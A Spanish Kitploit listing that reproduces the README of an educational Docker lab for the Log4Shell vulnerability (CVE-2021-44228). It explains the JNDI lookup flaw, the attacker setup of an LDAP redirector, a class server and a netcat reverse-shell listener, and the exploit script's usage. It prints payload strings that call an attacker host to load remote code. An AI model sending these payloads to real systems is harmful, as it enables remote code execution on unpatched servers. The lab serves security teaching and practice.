Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
EXPLOIT-CVE-2021-44228 — Laboratorio educativo basado en Docker que demuestra la explotación de RCE Log4Shell (CVE-2021-44228) con una aplicación Java vulnerable, redireccionador LDAP y script de explotación automatizado. | Kitploit
Herramientas/GitHubGitHub/joaovicdev/exploit-cve-2021-44228
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónLabs y Práctica
GitHubjoaovicdev/exploit-cve-2021-44228

EXPLOIT-CVE-2021-44228

Laboratorio educativo basado en Docker que demuestra la explotación de RCE Log4Shell (CVE-2021-44228) con una aplicación Java vulnerable, redireccionador LDAP y script de explotación automatizado.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
4hace 5 mesesAún no revisado
Compartir

CVE-2021-44228 — Laboratorio PoC de Log4Shell

AVISO

Este laboratorio fue creado exclusivamente con fines educativos y de investigación en seguridad. Todo el tráfico ocurre dentro de una red Docker aislada. No utilices este material en sistemas reales ni sin autorización explícita. El uso indebido puede ser un delito. Úsalo con responsabilidad.


¿Qué es la CVE-2021-44228?

La Log4Shell es una vulnerabilidad crítica (CVSS 10.0) descubierta en diciembre de 2021 en la librería de logging Apache Log4j 2, ampliamente utilizada en aplicaciones Java.

Cómo ocurre la vulnerabilidad

Log4j tiene una función de interpolación de expresiones: al registrar un mensaje, evalúa cadenas con el formato ${...}. Por ejemplo, ${java:version} se sustituye por la versión de Java en tiempo de ejecución.

El problema está en el soporte del protocolo JNDI (Java Naming and Directory Interface). Cuando Log4j encuentra una expresión como:

root@kitploit:~
${jndi:ldap://atacante.com/exploit}

le indica a la JVM que realice una . El servidor responde con una referencia a una clase Java remota — y la JVM , resultando en .

consulta LDAP al servidor del atacante
descarga y ejecuta esa clase
Remote Code Execution (RCE)

El vector de ataque es simple: cualquier campo que sea registrado por el servidor (headers HTTP, campos de formulario, cookies, etc.) puede ser el punto de entrada del payload.

Versiones afectadas

  • Log4j 2.0-beta9 hasta 2.14.1
  • Corregido en la versión 2.15.0 (y definitivamente en 2.17.0)

Entorno Vulnerable

El laboratorio simula una aplicación Java real utilizando las versiones vulnerables.

ComponenteVersiónPor qué es vulnerable
Apache Log4j2.14.1Evalúa ${jndi:...} sin restricciones
JDK1.8.0_181Anterior al parche 8u191 que define trustURLCodebase=false
Spring Boot2.5.6Solo el framework web; la vuln es de Log4j

Endpoint vulnerable

root@kitploit:~
GET http://localhost:8080/log

Los siguientes headers son registrados directamente por Log4j — cualquiera de ellos puede ser el vector de inyección:

  • X-Api-Version
  • User-Agent
  • X-Auth-Token

Infraestructura del atacante (contenedor attacker)

ServicioPuertoFunción
marshalsec (LDAP)1389Recibe el lookup JNDI y redirige al servidor HTTP
Python HTTP server8888Sirve el Exploit.class a la JVM de la víctima
netcat listener9001Recibe la conexión del reverse shell

Cómo usar el exploit

Requisitos previos

  • Docker y Docker Compose instalados
  • Node.js instalado (para el exploit)

1. Levantar el entorno completo

root@kitploit:~
docker-compose up --build

Espera hasta ver en los logs:

root@kitploit:~
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds

2. Disparar el exploit

En otra terminal, ejecuta el exploit Node.js:

root@kitploit:~
node exploit/exploit.js

Salida esperada:

root@kitploit:~
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target  : http://localhost:8080/log
[*] Header  : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}

[+] Response : 200 OK
[+] Body     : logged

[+] Payload delivered — check the attacker nc listener on port 9001

3. Verificar la ejecución

Observa la terminal donde se está ejecutando docker-compose. En los logs del contenedor attacker verás llegar la conexión del reverse shell al puerto 9001.

Para confirmar el touch /tmp/pwned dentro de la app vulnerable:

root@kitploit:~
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned

Argumentos personalizados (opcionales)

root@kitploit:~
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"

Por Guaxinim | Cyber Security Research

Descargar herramienta